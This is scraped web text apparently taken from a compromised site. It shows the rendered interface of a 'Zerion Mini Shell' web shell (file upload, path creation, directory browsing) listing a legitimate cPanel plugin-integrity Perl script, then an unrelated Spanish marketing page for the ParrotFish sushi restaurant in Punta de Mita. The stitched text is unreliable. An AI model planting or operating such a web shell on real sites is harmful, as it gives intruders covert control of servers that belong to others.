%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /scripts/
Upload File :
Create Path :
Current File : //scripts/check_plugin_pkgs

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/check_plugin_pkgs               Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::check_plugin_pkgs;

use cPstrict;

use parent qw( Cpanel::HelpfulScript );

use Cpanel::OS      ();
use Cpanel::Plugins ();

=encoding utf-8

=head1 NAME

scripts::check_plugin_pkgs

=head1 SYNOPSIS

    check_plugin_pkgs [ --pkg <pkg> --pkg <pkg> | help ]

    NOTE: The `pkg` argument can be passed 1 or more times

=head1 DESCRIPTION

This script verifies the integrity of installed plugin packages. If it finds an
altered package, the script will replace it with an unaltered version.  If the
package is not installed, the script will install it.

=cut

sub _OPTIONS {
    return qw( pkg=s@ );
}

exit( __PACKAGE__->new(@ARGV)->script() // 0 ) unless caller();

sub script ($self) {

    if ( !Cpanel::OS::supports_plugins_repo() ) {
        $self->say( "cPanel plugins are not supported for your current distribution: " . Cpanel::OS::display_name() );
        return;
    }

    $self->ensure_root();

    my $pkgs = $self->getopt('pkg') // die "Please specify at least one package to check with --pkg.\n" . $self->help();

    my $ok = 1;
    foreach my $pkg (@$pkgs) {
        $self->say("* Checking package ‘$pkg’");

        my $check = eval { $self->check_pkg($pkg); 1 } // 0;
        my $error = $@;

        if ($check) {
            $self->say("Package ‘$pkg’ is OK.");
        }
        else {
            $self->say( "Issue detected with package ‘$pkg’: ", $error );
        }
        $self->say('');

        $ok &= $check;
    }

    return !$ok;
}

sub check_pkg ( $self, $pkg ) {

    if ( Cpanel::Plugins::is_plugin_installed($pkg) ) {
        my $altered = Cpanel::Plugins::get_altered_files($pkg);
        if (@$altered) {
            $self->say( join( "\n", "Altered files found in package ‘$pkg’, attempting to reinstall …", map { "  $_" } @$altered ), "\n" );

            # Do not use reinstall_plugins here since we need this to work for ubuntu too
            # and reinstall_plugins is not implemented on ubuntu
            Cpanel::Plugins::uninstall_and_install_plugins( [$pkg], [$pkg] );
        }
    }
    else {
        $self->say("Package '$pkg' is not installed, attempting to install it …\n");
        Cpanel::Plugins::install_plugins($pkg);
    }

    return;
}

1;

Zerion Mini Shell 1.0
Restaurante Parrotfish | Cocina de Fusión en Punta de Mita

La propuesta más atrevida de sushi en México

ParrotFish Japanese Fusion es el lugar donde México le dio un nuevo sabor al sushi, y seguro se convertirá en tu favorito si buscas una cocina audaz y a la vanguardia. Sumérgete en sabores frescos y deliciosos dentro de un espacio moderno, rodeado por los paisajes tropicales de Punta de Mita.

Aquí cada rollo, nigiri y sashimi cuenta una historia y te transporte a la Tierra del Sol Naciente.

icon

Nueva ubicación dentro de Armony Marival Resort & Spa Punta de Mita

ParrotFish fue el primer restaurante de sushi en Punta de Mita y sigue siendo uno de los favoritos tanto de la comunidad local como de viajeros de todo el mundo. Nos encontrarás dentro de Armony Marival Resort & Spa Punta de Mita.
Carretera a Punta de Mita km 8.3, Playa Destiladeras, Bahía de Banderas, Nayarit C.P. 63734, México

Nueva ubicación dentro de Armony Marival Resort & Spa Punta de Mita

Vanguardia en cada detalle

La decoración, inspirada en la belleza natural del Pacífico, junto con platillos llenos de color que evocan el Japón ancestral, dan vida a un espacio donde las culturas japonesa y mexicana no solo se encuentran, sino que entrelazan sus manos en un baile de sabores, memorias y tradición.

Explora nuestra galería y enamórate de la esencia única de ParrotFish Japanese Fusion.

Vanguardia en cada detalle

Explora nuestro menú

De lo clásico a lo innovador

 Explora nuestro menú ParrotFish Restaurant Punta de Mita
CÓCTELES
Explora nuestro menú ParrotFish Restaurant Punta de Mita
PARA COMPARTIR
Explora nuestro menú ParrotFish Restaurant Punta de Mita
SUSHI

Maestros del cuchillo

En ParrotFish, quien guía el filo es el Chef Ejecutivo Benito Hernandez, quien fusiona elegancia y creatividad, evocando el espíritu de tierras lejanas. En la barra, Donat prepara cocteles que se convierten en un ritual de sabor. Juntos, crean una experiencia que rinde homenaje al arte de la cultura japonesa: refinada e inolvidable.

Descubre más
Benito Hernández Cortés - Parrotfish Restaurant Maestros del cuchillo -  ParrotFish Restaurant Punta de Mita

RESERVA TU MESA

Nueva ubicación dentro de Armony Marival Resort & Spa Punta de Mita

icon